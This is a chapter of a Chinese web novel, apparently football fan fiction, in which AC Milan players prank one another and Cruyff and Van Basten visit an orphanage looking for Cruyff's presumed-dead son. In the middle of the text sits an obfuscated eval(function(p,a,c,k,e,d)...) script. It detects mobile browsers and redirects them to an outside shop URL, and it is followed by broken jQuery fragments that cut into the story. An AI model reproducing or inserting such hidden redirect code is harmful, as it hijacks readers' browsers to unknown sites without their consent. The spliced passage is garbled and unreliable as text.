“后来保罗跑到院子里把我们狠狠骂了一顿，我们也只能灰溜溜地回去睡觉了。”舍甫琴科坐在更衣室里笑着说道，“因为在户外待了一会儿，身上发冷，乔就很慷慨地邀请我去他床上一起睡。”
“你们没感冒就好”，安布罗西尼有些担心地说，“米兰十月底气温已经降下来了，你们居然还穿着睡衣在院子里踢球。”
皮尔洛只是笑了笑：“那乔岂不是挺惨的，一天之内被保罗骂了两次。”
舍甫琴科瞥了一眼不远处正在和扎切罗尼商量事情的队友，压低声音道：“是啊，所以后来在被窝里，他一直管保罗叫‘3号球员先生’。这个绰号到底是怎么来的？”
皮尔洛闻言，看了看安布罗西尼、科科和阿比亚蒂。几个年轻人不约而同地想起了上赛季乔瓦尼那一声声突兀的“马尔蒂尼先生”，以及尤文一役后的那个雪夜酒馆。
他拍了拍乌克兰人的肩膀：“你该庆幸自己没经历过那段日子。现在乔怎么称呼保罗都无所谓了，那是他们俩的‘情趣’。”
同样没经历过上赛季那段日子的加图索一脸茫然：“安德烈亚，这又是你搞的什么新恶作剧吗？你整我就算了，别去招惹队长啊！”
安布罗西尼眼睁睁看着皮尔洛转身，从柜缝里抽出一条豹纹内裤，下意识捂住了眼睛。
科科和阿比亚蒂为了给即将上演的“好戏”腾出空间，干脆站到了更衣室的长凳上。
“上帝！里诺，你怎么把脏内裤塞在这儿？”皮尔洛挥舞着那条被他藏了一年多的“恶作剧道具”喊道。
整个更衣室的目光瞬间齐刷刷地投向加图索，虽然大家心里都清楚是怎么回事，但还是十分配合。科斯塔库塔抱着胳膊调侃道：“豹纹啊，里诺，你品位不错嘛。”
乔瓦尼眼看着加图索的脸色涨成猪肝色，忍不住感叹：皮尔洛埋了一年多的雷，终于还是被他亲手引爆了。
接下来，米兰年轻的21号和8号就在更衣室里上演了一场追逐战，直到米兰队长觉得两人的“热身”已经差不多了，才从长凳上起身，没收了皮尔洛手里的“作案工具”。
今天是欧冠小组赛第5轮，米兰将在主场迎战切尔西。球队稍后便要集体乘坐大巴车从米兰内洛驶向圣西罗了。目前他们在小组中排名第三，出线形势并不乐观，而队内最具威胁的射手又因手部受伤状态受限。
马尔蒂尼望向乔瓦尼。按理说，踢球用不到手，可手部受伤对这个年轻人的影响却异常明显，甚至让医疗组和教练组都觉得不可思议——只是固定了两根手指，为什么会如此影响他的假动作和射门？
对此，克鲁伊夫看得十分清楚——乔瓦尼接触足球不过三年多，他出众的身体协调性完全源自天赋，场上的许多动作更像是身体的即时反应，而非经过常年训练后的肌肉记忆。
他可以在疼痛中踢球，因为在肾上腺素的作用下，痛觉可以被暂时忽略，肌肉与神经依旧保持自由；但绷带和夹板却不同，它们切断了原本顺畅的神经反馈，迫使乔瓦尼去“思考”自己的动作。就像他此前刚学会用脚内侧推射、却始终找不到稳定命中率的阶段一样——一旦他开始意识到自己的身体，动作本身就已经受限了。
换句话说，对于一个尚未学会稳健走路便开始奔跑的天才，这或许是乔瓦尼必然要面对的难题。与那些从小接受系统训练的球员相比，乔瓦尼所错过的时光，并非仅凭天赋和努力就能在短期内弥补的。
在克鲁伊夫看来，在接下来的五年里，乔瓦尼作为一名职业球员所要面对的最大课题，仍然是让自己的身体逐渐追赶上自己的意识。
而此刻，荷兰人看着乔瓦尼因为得知自己无法首发而流露出的沮丧神情，虽然心有不忍，却仍然希望对方能通过这次的事情明白，一时冲动、不遵医嘱会带来多么严重的后果——哪怕主教练再信任你，一旦状态不好，依旧会被摁在替补席。这在职业足球的世界里，没有例外。
10月26日，乔瓦尼在圣西罗的替补席上，看着球队被切尔西逼平，积分滑落至小组末尾；10月31日，米兰客战维罗纳，扎切罗尼干脆将他留在米兰养伤；11月3日，欧冠小组赛末轮，米兰在客场凭借皮尔洛补时阶段的远射绝杀加拉塔萨雷，乔瓦尼坐在家里的客厅看完了整场比赛。
米兰最终排名小组第三，欧冠之旅就此止步。唯一的好消息是，他们可以转战欧洲联盟杯。
切萨雷坐在乔瓦尼身边，安抚地拍了拍他的后背：“乔，去踢联盟杯也不坏。欧洲三大杯里，我们拿了欧冠和优胜者杯，唯独缺一座联盟杯冠军。”
乔瓦尼听了，确实被安慰到一点——因为米兰不该在任何一项赛事中没有奖杯。
克鲁伊夫正愁不知道如何安慰儿子，见状立刻在一旁补充道：“据我所知，完成欧洲三大杯大满贯的球队只有阿贾克斯、拜仁、尤文以及切尔西4家。”
乔瓦尼立刻皱起眉头，多亏了某人，他现在得了一种听见“阿贾克斯”就生气的病。
而第二天，当年轻人发现这支荷兰球队本赛季也要踢联盟杯时，连日来被排除在比赛之外的苦闷与低落，瞬间化作熊熊燃烧的斗志——什么阿贾克斯不可战胜？他们最好别在碰到米兰之前就被淘汰掉！
与此同时，站在河边的范巴斯滕和克鲁伊夫同时打了一个喷嚏。
由于里杰卡尔德需要回国处理国家队事务，古利特也要回国筹备婚礼，范巴斯滕成了唯一留在意大利陪伴克鲁伊夫的人。
见面前人打了个寒颤，范巴斯滕面无表情地解下自己的围巾，不顾克鲁伊夫的抗议，死死在他脖子上绕了几圈：“约翰，你老了，还有心脏病。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018388|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“马尔科，下次做这种事光动手就行，别多话。”克鲁伊夫叹了口气，举起手中的地图，“顺着这条河一直走，应该就到了。”
这段时间，他们一直在寻找乔瓦尼·米拉尼曾经居住过的福利院。为了不打草惊蛇，他没有让范巴斯滕直接去问那些米兰人。两个荷兰人只得拐弯抹角地打听，折腾了许久才弄到福利院的地址。
然而，范巴斯滕早年在意大利的汽车已经转手，而约尔迪每天还要开车去训练，他们只能一路从布雷西亚搭公共交通前往米兰郊外。
当他们站在圣安布罗焦慈善之家门口时，已是日近黄昏。
范巴斯滕率先走了进去。
“噢！上帝！”门口的修女们惊喜地捂住嘴尖叫，“范巴斯滕先生！！”
跟在弟子身后的克鲁伊夫无奈地摇摇头——果然，在米兰就没有人不认识乌得勒支天鹅。
他还没来得及调侃弟子两句，面前的修女们已经瞪大了眼睛。
难道自己在米兰也很有名吗？克鲁伊夫心想。
“上帝啊！您……您是来找乔的吗？！您是他的生父吗？！”一位年轻修女脱口问道。
克鲁伊夫立刻皱起眉头，凭借意大利语与西班牙语的相近性，他迅速捕捉到了几个关键词。他扭头看向范巴斯滕，而他的弟子同样表情严肃：
“约翰，米拉尼是你的私生子吗？”
克鲁伊夫差点被这句话噎住，但立刻摇头：“我没有私生子，马尔科。”
沉默了片刻，荷兰人拉开自己的大衣，然后从靠近心脏的内衬口袋中翻出一个银质挂坠，递给了弟子。
范巴斯滕用手指摩挲着挂坠，在背面摸到一串凹陷的字母，他立刻翻过来仔细辨认上面的铭文：
穆西诺·约菲·克鲁伊夫
生于1981年11月17日
范巴斯滕猛地抬起头看向老师，只听克鲁伊夫声音艰涩地说道：“我还有一个已经去世的儿子，马尔科。”
范巴斯滕的瞳孔猛地放大。
“不到两个月大时，他就被绑架了……警方只在绑匪据点发现了他的血迹，法医认为那个出血量足以致命。”
“……那你为什么还到这里来？”范巴斯滕立刻意识到，克鲁伊夫是在怀疑米拉尼是否就是这个孩子。但如果法医的鉴定结果明确，那么那个孩子应该早已……
“马尔科，在另一个年轻人身上去寻找约菲的影子，本身就是一种折磨。”克鲁伊夫的笑容里满是苦楚，“但如果哪怕有那么千万分之一的可能性，约菲没有死呢？如果米拉尼不是约菲，我自然会去他的墓碑前忏悔我的妄想。但如果……他就是呢？”
克鲁伊夫的声音嘶哑，最后一个音节几不可闻。
范巴斯滕喉咙微微发紧，只觉得眼前的男人仿佛在泣血。